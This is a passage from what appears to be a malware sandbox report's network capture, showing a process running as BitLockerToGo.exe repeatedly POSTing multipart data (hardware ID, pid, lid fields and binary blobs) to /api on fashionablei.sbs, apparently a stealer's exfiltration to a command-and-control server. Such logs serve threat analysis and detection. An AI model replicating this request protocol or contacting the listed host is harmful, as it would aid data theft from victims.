6b 56 67 6d 31 39 71 32 79 78 64 45 59 75 52 64 2b 2f 42 70 39 58 6a 62 4c 77 36 46 78 37 39 65 6c 7a 37 58 72 41 69 56 31 Data Ascii: bATjYC3GDb09T0u4v74G1w+NL/2xZXuh5A91WqiIcZM1XdY4KfdMtDB+WwCH3yafA9i2rMgVGsHEO6x3+c14l2Fdjjks+mWxEXITSJpGn9JasMvJpV17uflWxVaU7Clv0PDfICyeMeGR/0p8hoNmtouM2vF0ZGeYoFr1opS8eYtwGduYvB7E8bliHk1WoieSQrnK8LBdfvjAesx2iMFA9mkVgm19q2yxdEYuRd+/Bp9XjbLw6Fx79elz7XrAiV1
2024-10-26 14:00:26 UTC	1369	IN	Data Raw: 7a 77 38 7a 69 47 78 51 57 5a 48 48 59 75 69 6e 79 37 36 75 63 2f 6c 73 55 47 66 41 53 55 54 74 55 4b 6b 6d 55 6b 58 4e 41 54 6a 77 4d 67 71 61 65 56 49 64 74 4e 4a 33 72 4e 6d 37 32 37 73 2b 70 43 4a 32 55 2b 35 6c 51 66 6f 66 68 69 59 47 5a 6f 70 5a 65 38 70 4d 5a 63 74 62 54 31 4b 58 33 32 62 74 75 50 2b 4c 72 6e 48 37 49 48 64 65 36 47 73 4f 73 78 32 71 59 55 67 6c 79 78 30 72 77 77 4d 36 78 33 6c 59 57 4e 4b 66 49 61 48 5a 72 64 75 69 64 4f 78 76 57 46 36 79 62 6b 44 7a 48 62 6c 76 43 53 58 63 56 32 4f 64 51 6e 32 5a 50 68 6f 66 31 64 4a 7a 76 5a 2f 32 6a 61 41 35 77 6c 78 36 53 2f 6c 34 54 62 39 73 71 79 55 47 63 4d 6b 48 50 50 41 79 45 4a 6c 35 55 6c 7a 51 34 48 65 73 6d 66 75 63 34 7a 43 38 65 68 63 42 76 6b 56 63 2b 6b 32 6c 59 51 38 72 30 31 63 Data Ascii: zw8ziGxQWZHHYuiny76uc/lsUGfASUTtUKkmUkXNATjwMgqaeVIdtNJ3rNm727s+pCJ2U+5lQfofhiYGZopZe8pMZctbT1KX32btuP+LrnH7IHde6GsOsx2qYUglyx0rwwM6x3lYWNKfIaHZrduidOxvWF6ybkDzHblvCSXcV2OdQn2ZPhof1dJzvZ/2jaA5wlx6S/l4Tb9sqyUGcMkHPPAyEJl5UlzQ4Hesmfuc4zC8ehcBvkVc+k2lYQ8r01c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:27 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18159 Host: fashionablei.sbs
2024-10-26 14:00:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
2024-10-26 14:00:27 UTC	2828	OUT	Data Raw: f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-10-26 14:00:28 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=odl6evuv0gamvo7db6tt1pavod; expires=Wed, 19 Feb 2025 07:47:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gtbvDsBxQ4KRI%2FPlk%2F1GNHufztEZ%2FMeUQ2mvdPbncEnaN1Pe1MgG%2Fx8C7NP308tIDkt95n0%2Fyp5ViqhTzGO4dpmcSeHNimuYbrBxaMXLHcW8sA%2By2%2BSXcLToJY%2FSx%2FNOuOUP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af90419eba91e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1350&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=19121&delivery_rate=1516230&cwnd=252&unsent_bytes=0&cid=662a020b76acd3fd&ts=672&x=0"
2024-10-26 14:00:28 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:28 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8780 Host: fashionablei.sbs
2024-10-26 14:00:28 UTC	8780	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
2024-10-26 14:00:29 UTC	1015	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=daa6dmpsj9uga9a120ijqmg9tp; expires=Wed, 19 Feb 2025 07:47:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FtT49Cg1%2FRzncXbc%2BQ7JGcD0SMWMNMJLQpm5XqFb71vSphFSCPj5F5EAMhJnViX2RMFJSci9AxCpuEdh8%2Fg9y2p70LF3XqQP1TinqAr5ZywLZIC54%2BGvFJXnO%2F35DbC%2B5X6W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af90cfdb26c7f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1985&sent=6&recv=14&lost=0&retrans=0&sent_bytes=2841&recv_bytes=9719&delivery_rate=1484366&cwnd=237&unsent_bytes=0&cid=d61a32a837ab9139&ts=548&x=0"
2024-10-26 14:00:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20433 Host: fashionablei.sbs
2024-10-26 14:00:30 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
2024-10-26 14:00:30 UTC	5102	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-10-26 14:00:31 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ot992r590lqklovoknq9l78n7q; expires=Wed, 19 Feb 2025 07:47:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ndpqIWvyY6YwK0kVnYMWbXDT8sprvXD4m9ZK8g2KHOdYWXwz2x3LONWbxfFALLP1IZvFOQg24rwlm9Pi4oYnLI9zk21LREvKPqJ4BEAvFlhSMQj3673CIXYlw1yKm8yDzhy%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af916bc74b789-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1681&sent=19&recv=27&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21395&delivery_rate=1731022&cwnd=39&unsent_bytes=0&cid=6a5b52edee51e3c0&ts=754&x=0"
2024-10-26 14:00:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:32 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3804 Host: fashionablei.sbs
2024-10-26 14:00:32 UTC	3804	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
2024-10-26 14:00:33 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4uoum7hhofd1ctntasg1b4iokh; expires=Wed, 19 Feb 2025 07:47:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BPfzAWQXLss%2FFBA2EkFy86ZZd61QtjIhvo02j0C%2F6KncGrFcgYM7zgqAk1fzfqpx9qdmvDEeYPiT266NdHsgni%2FarEK%2FSeemZPK61%2B92OOs41Tn66RRJBeQ%2Bwym1oJ8ijXyR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af921bf4d2e72-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1295&sent=6&recv=10&lost=0&retrans=0&sent_bytes=2840&recv_bytes=4721&delivery_rate=2177443&cwnd=219&unsent_bytes=0&cid=6945da394185405b&ts=1277&x=0"
2024-10-26 14:00:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:35 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3818 Host: fashionablei.sbs
2024-10-26 14:00:35 UTC	3818	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
2024-10-26 14:00:35 UTC	1009	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3t114abocvobrk2bhn7o6a1p24; expires=Wed, 19 Feb 2025 07:47:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hs8IdWfLc8ib2W1Mhd4Jge3Wi55hoHsaWBhk2LCx%2BpPKCIYn1Eopw5JaeVAfBAGZtLjZW2uO3VY60wiYTxI%2FXVvTBTPmkuHwSUwr2DXc6YlzAg1n31Oph1efElU9n5q%2BT5Sb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af93428304606-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=4735&delivery_rate=1650142&cwnd=247&unsent_bytes=0&cid=a7e93feb79098022&ts=1498&x=0"
2024-10-26 14:00:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:36 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1269 Host: fashionablei.sbs
2024-10-26 14:00:36 UTC	1269	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
2024-10-26 14:00:37 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 14:00:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iidmg2dn8aigrb1a3mjt6b6j23; expires=Wed, 19 Feb 2025 07:47:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8mxKYnNFY%2BDvTX5DjY%2BcdWh2uARShv8LH6WF41t55ipza6qHP5Unh5aVCltguALaY5xAkpQDAsq2XeNO4qYKVxJ7W1Evz19q8Nq1S%2BDJHd8Qny4JWO9fxtKw2fR%2FwWPZ3xxB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8af93b982646cc-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1027&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2186&delivery_rate=2611361&cwnd=242&unsent_bytes=0&cid=15a3eeec39107d20&ts=739&x=0"
2024-10-26 14:00:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 14:00:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	188.114.97.3	443	3848	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 14:00:37 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1116 Host: fashionablei.sbs
2024-10-26 14:00:37 UTC	1116	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 30 30 41 45 45 38 37 42 32 41 35 35 45 42 33 36 39 36 43 36 39 38 37 33 36 44 41 36 30 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 74 4c 59 4d 65 35 2d 2d 32 0d 0a 2d 2d Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"75600AEE87B2A55EB3696C698736DA60--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"tLYMe5--2--
